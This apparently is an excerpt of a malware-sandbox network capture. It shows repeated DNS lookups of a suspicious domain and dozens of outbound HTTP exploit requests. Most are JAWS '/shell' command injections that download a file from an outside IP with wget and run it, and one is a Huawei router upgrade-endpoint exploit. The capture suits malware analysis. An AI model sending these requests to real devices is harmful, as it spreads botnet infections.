Dec 3, 2024 23:18:40.858592033 CET	192.168.2.23	8.8.8.8	0x2e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:41.113920927 CET	192.168.2.23	8.8.8.8	0x2e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:41.592536926 CET	192.168.2.23	8.8.8.8	0x2e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:41.740958929 CET	192.168.2.23	8.8.8.8	0x2e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 23:16:42.883223057 CET	8.8.8.8	192.168.2.23	0xdecb	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:16:43.360308886 CET	8.8.8.8	192.168.2.23	0xdecb	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:16:43.617417097 CET	8.8.8.8	192.168.2.23	0xdecb	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:16:44.101155996 CET	8.8.8.8	192.168.2.23	0xdecb	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:16:44.354609966 CET	8.8.8.8	192.168.2.23	0xdecb	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:06.714792013 CET	8.8.8.8	192.168.2.23	0xa051	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:06.970858097 CET	8.8.8.8	192.168.2.23	0xa051	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:07.227309942 CET	8.8.8.8	192.168.2.23	0xa051	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:07.483051062 CET	8.8.8.8	192.168.2.23	0xa051	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:07.735876083 CET	8.8.8.8	192.168.2.23	0xa051	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:30.035285950 CET	8.8.8.8	192.168.2.23	0xbfc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:30.287818909 CET	8.8.8.8	192.168.2.23	0xbfc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:30.542284012 CET	8.8.8.8	192.168.2.23	0xbfc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:30.799510956 CET	8.8.8.8	192.168.2.23	0xbfc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:31.193685055 CET	8.8.8.8	192.168.2.23	0xbfc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:53.706741095 CET	8.8.8.8	192.168.2.23	0x8147	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:53.962003946 CET	8.8.8.8	192.168.2.23	0x8147	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:54.218367100 CET	8.8.8.8	192.168.2.23	0x8147	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:54.473653078 CET	8.8.8.8	192.168.2.23	0x8147	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:17:54.727694988 CET	8.8.8.8	192.168.2.23	0x8147	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:17.147933006 CET	8.8.8.8	192.168.2.23	0x206	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:17.623420954 CET	8.8.8.8	192.168.2.23	0x206	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:18.017810106 CET	8.8.8.8	192.168.2.23	0x206	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:18.272764921 CET	8.8.8.8	192.168.2.23	0x206	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:18.527029037 CET	8.8.8.8	192.168.2.23	0x206	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:40.857624054 CET	8.8.8.8	192.168.2.23	0x2e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:41.113234997 CET	8.8.8.8	192.168.2.23	0x2e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:41.591151953 CET	8.8.8.8	192.168.2.23	0x2e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:41.739954948 CET	8.8.8.8	192.168.2.23	0x2e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:18:42.135673046 CET	8.8.8.8	192.168.2.23	0x2e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	50594	219.135.74.124	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.581548929 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	39842	89.7.20.131	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.582384109 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	34534	51.51.22.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.583009958 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	55162	144.38.20.0	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.583667040 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	47602	101.46.179.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.584322929 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	38240	205.42.223.76	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.584978104 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	54802	131.246.4.63	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.585601091 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	41910	185.138.149.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.633804083 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	35888	53.132.117.184	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.634608030 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	49344	129.100.184.223	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.635376930 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	56488	95.67.114.253	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.636138916 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	55950	198.29.2.103	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.636826992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	44620	45.40.116.252	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.637566090 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	49530	188.243.47.249	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.647742987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	37062	178.209.10.75	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.663994074 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	45274	146.132.188.166	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.668661118 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	50114	120.173.20.194	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.675668001 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	34932	104.171.23.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.687428951 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	53526	153.112.177.229	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:44.695692062 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	48408	211.227.175.197	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.511224031 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	58542	152.243.171.49	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.539807081 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	44466	79.244.180.207	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.540496111 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	44054	52.59.102.77	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.571916103 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	32818	12.128.53.10	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.572583914 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	40424	179.151.244.139	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.573263884 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	57612	71.139.246.174	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.604123116 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	34928	184.86.41.56	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.604844093 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	34882	131.92.253.181	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.605529070 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	55784	9.156.190.104	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.667639017 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	34724	175.139.215.108	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.759833097 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	57244	220.191.45.226	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.760590076 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	52898	52.109.45.182	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:45.761378050 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	55344	111.129.118.141	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.036360979 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	48428	126.128.117.174	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.037023067 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	41164	180.109.221.172	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.139553070 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	35072	177.225.31.244	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.140289068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	56698	193.187.119.1	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.140994072 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	55066	176.205.213.17	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.141731977 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	46556	136.180.192.64	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.142417908 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	33716	219.25.117.201	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.143136978 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	52678	83.51.41.144	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.143883944 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	60554	146.197.93.177	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.144584894 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	40288	103.214.187.227	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.145282030 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	42634	159.198.67.110	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.146004915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	46746	175.217.230.70	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.146692038 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	47196	161.47.72.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.147418976 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	55712	146.160.159.128	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.155608892 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	57276	156.124.55.110	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.559258938 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 